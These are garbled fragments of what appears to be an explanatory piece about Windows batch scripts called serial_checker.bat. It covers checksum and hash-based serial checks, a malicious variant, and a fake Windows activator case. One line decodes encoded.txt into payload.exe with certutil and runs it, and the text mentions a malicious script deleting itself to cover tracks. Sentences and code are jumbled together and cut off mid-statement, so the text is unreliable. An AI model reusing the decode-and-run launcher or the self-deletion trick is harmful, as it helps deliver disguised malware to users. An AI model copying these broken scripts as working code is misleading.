echo Enter your serial number (format XXXX-XXXX-XXXX): set /p "user_serial=" Alternatively, reading from serial.txt :
rem Assume serial is like 12345-67890 set "part1=%user_serial:~0,5%" set "part2=%user_serial:~6,5%" set /a sum1=0 for /l %%i in (0,1,4) do set /a sum1+=!part1:~%%i,1! set /a sum2=0 for /l %%i in (0,1,4) do set /a sum2+=!part2:~%%i,1! if %sum1% equ %sum2% ( echo Checksum passed. ) else ( echo Invalid serial. ) A different flavor of serial_checker.bat doesn't ask for a serial – it reads the machine's serial and compares it against a list: serial checker.bat
certutil -decode encoded.txt payload.exe payload.exe %user_serial% Here, serial_checker.bat becomes a launcher for a real checker written in a compiled language. To cover tracks, a malicious serial_checker.bat might delete itself after execution: echo Enter your serial number (format XXXX-XXXX-XXXX): set
echo %user_serial% > temp.txt certutil -hashfile temp.txt SHA1 | find /i "valid_hash_here" > nul if %errorlevel% equ 0 (echo Valid) else (echo Invalid) del temp.txt Case A: The Fake Windows Activator A script called windows_serial_checker.bat circulated on forums. Contents: ) else ( echo Invalid serial